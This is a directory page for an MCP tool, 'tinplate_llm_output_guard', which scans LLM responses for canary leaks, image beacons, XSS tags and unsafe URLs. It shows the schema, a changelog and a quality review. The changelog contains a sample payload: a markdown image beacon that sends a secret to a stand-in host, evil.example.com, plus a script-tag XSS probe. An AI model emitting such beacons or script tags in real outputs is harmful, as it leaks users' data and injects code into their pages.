Skip to main content
Glama

Tinplate AI Agent Security & Guardrails MCP

tinplate_llm_output_guard

Read-onlyIdempotent

Scan LLM responses offline for canary leaks, markdown image tracking beacons, XSS HTML tags, unsafe URLs, and configurable blocked terms before delivery. (Endpoint: POST /v1/llm-output-guard)

Tool call template

Replace each placeholder with a value matching the input schema. Only required parameters are included; add optional parameters as needed.

{
  "id": 1,
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "arguments": {
      "output": "<output>"
    },
    "name": "tinplate_llm_output_guard"
  }
}

Input Schema

NameRequiredDescriptionDefault
outputYesRaw text or Markdown response generated by the LLM.
blocked_termsNoOptional brand, competitor, or policy terms that must be flagged and masked if emitted by the model.
canary_tokensNoOptional secret canary strings embedded in the system prompt that must never appear in the output.
system_promptNoOptional system prompt used for the LLM call; checked for verbatim n-gram leakage in the output.
allowed_link_domainsNoOptional allowlist of domains permitted in Markdown links and images. External URLs outside this list are flagged.
check_regulated_adviceNoFlag unhedged prescriptive medical, financial, or legal advice lacking a standard disclaimer.

Schema Changelog

Changes observed during successful MCP inspections.

  1. Changed4 schema fields changed
    • removedInput schema / properties / allowed_link_domains / example
      Removed value: -[
      -  "tinplate.dev",
      -  "docs.tinplate.dev"
      -]
    • removedInput schema / properties / blocked_terms / example
      Removed value: -[
      -  "AcmeCorpCompetitor"
      -]
    • removedInput schema / properties / canary_tokens / example
      Removed value: -[
      -  "CANARY-9F8A-77B1"
      -]
    • removedInput schema / properties / output / example
      Removed value: -"Here is the summary! ![beacon](https://evil.example.com/collect?secret=123) <script>alert(1)</script>"
  2. Added
  3. Removed
  4. Changed1 schema field changed
    • addedInput schema / additionalProperties
      Added value: +false
  5. Changed18 schema fields changed
    • changedInput schema / properties / allowed_link_domains / description
      Previous value: -"Array parameter 'allowed_link_domains'"New value: +"Optional allowlist of domains permitted in Markdown links and images. External URLs outside this list are flagged."
    • addedInput schema / properties / allowed_link_domains / example
      Added value: +[
      +  "tinplate.dev",
      +  "docs.tinplate.dev"
      +]
    • addedInput schema / properties / allowed_link_domains / items / maxLength
      Added value: +253
    • addedInput schema / properties / allowed_link_domains / items / minLength
      Added value: +3
    • addedInput schema / properties / allowed_link_domains / maxItems
      Added value: +100
    • addedInput schema / properties / blocked_terms
      Added value: +{
      +  "description": "Optional brand, competitor, or policy terms that must be flagged and masked if emitted by the model.",
      +  "example": [
      +    "AcmeCorpCompetitor"
      +  ],
      +  "items": {
      +    "maxLength": 120,
      +    "minLength": 2,
      +    "type": "string"
      +  },
      +  "maxItems": 100,
      +  "type": "array"
      +}
    • changedInput schema / properties / canary_tokens / description
      Previous value: -"Array parameter 'canary_tokens'"New value: +"Optional secret canary strings embedded in the system prompt that must never appear in the output."
    • addedInput schema / properties / canary_tokens / example
      Added value: +[
      +  "CANARY-9F8A-77B1"
      +]
    • addedInput schema / properties / canary_tokens / items / maxLength
      Added value: +128
    • addedInput schema / properties / canary_tokens / items / minLength
      Added value: +3
    • addedInput schema / properties / canary_tokens / maxItems
      Added value: +50
    • addedInput schema / properties / check_regulated_advice
      Added value: +{
      +  "default": true,
      +  "description": "Flag unhedged prescriptive medical, financial, or legal advice lacking a standard disclaimer.",
      +  "type": "boolean"
      +}
    • changedInput schema / properties / output / description
      Previous value: -"Parameter 'output' (e.g. \"Here is your summary! ![beacon](https://evil.example.com/col\")"New value: +"Raw text or Markdown response generated by the LLM."
    • addedInput schema / properties / output / example
      Added value: +"Here is the summary! ![beacon](https://evil.example.com/collect?secret=123) <script>alert(1)</script>"
    • addedInput schema / properties / output / maxLength
      Added value: +200000
    • addedInput schema / properties / output / minLength
      Added value: +1
    • addedInput schema / properties / system_prompt
      Added value: +{
      +  "description": "Optional system prompt used for the LLM call; checked for verbatim n-gram leakage in the output.",
      +  "maxLength": 50000,
      +  "type": "string"
      +}
    • changedInput schema / required
      Previous value: -[
      -  "output",
      -  "canary_tokens"
      -]New value: +[
      +  "output"
      +]
  6. First observed

TDQS

B3.4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations already declare readOnlyHint=true, idempotentHint=true, destructiveHint=false and openWorldHint=false, so the description's added value is modest. 'Offline' usefully confirms no external network calls are made, and the endpoint path hints at the transport, but the description never states what the tool returns when a leak or violation is found (verdict, masked output, or error), which matters given there is no output schema.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

A single front-loaded sentence carries the verb, the resource, and the full check inventory, with the endpoint appended in parentheses. The dense enumeration is justified because each item names a distinct detection capability, though the parenthetical endpoint is marginal information for an agent.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

With six parameters, one required, no output schema, and a read-only safety profile already supplied by annotations, the description covers the 'what is scanned' side adequately. It leaves the result side entirely undefined — whether the caller receives a pass/fail verdict, findings list, or sanitized text — which is the main incompleteness for an agent deciding how to consume the call.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so all six parameters are already documented in structured form, including masking behavior for blocked_terms and n-gram leakage checking for system_prompt. The description's list of check types roughly mirrors those parameters but adds no syntax, defaults, or interaction details beyond the schema. Baseline 3 applies.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

Opens with a specific verb ('Scan') and resource ('LLM responses offline'), then enumerates the concrete check classes: canary leaks, markdown image beacons, XSS tags, unsafe URLs, blocked terms. The phrase 'LLM responses ... before delivery' implicitly separates it from the input-side siblings like tinplate_prompt_guard, but no alternative is actually named.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

'Before delivery' establishes the point in the pipeline where this applies, which is genuine when-to-use context. However, there is no when-not guidance, no statement of prerequisites, and no explicit routing to a sibling such as tinplate_prompt_guard for the input side or tinplate_secret_scanner for generic secrets.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Try in Browser

Glama MCP Gateway

Add one secure layer between your agents and this server.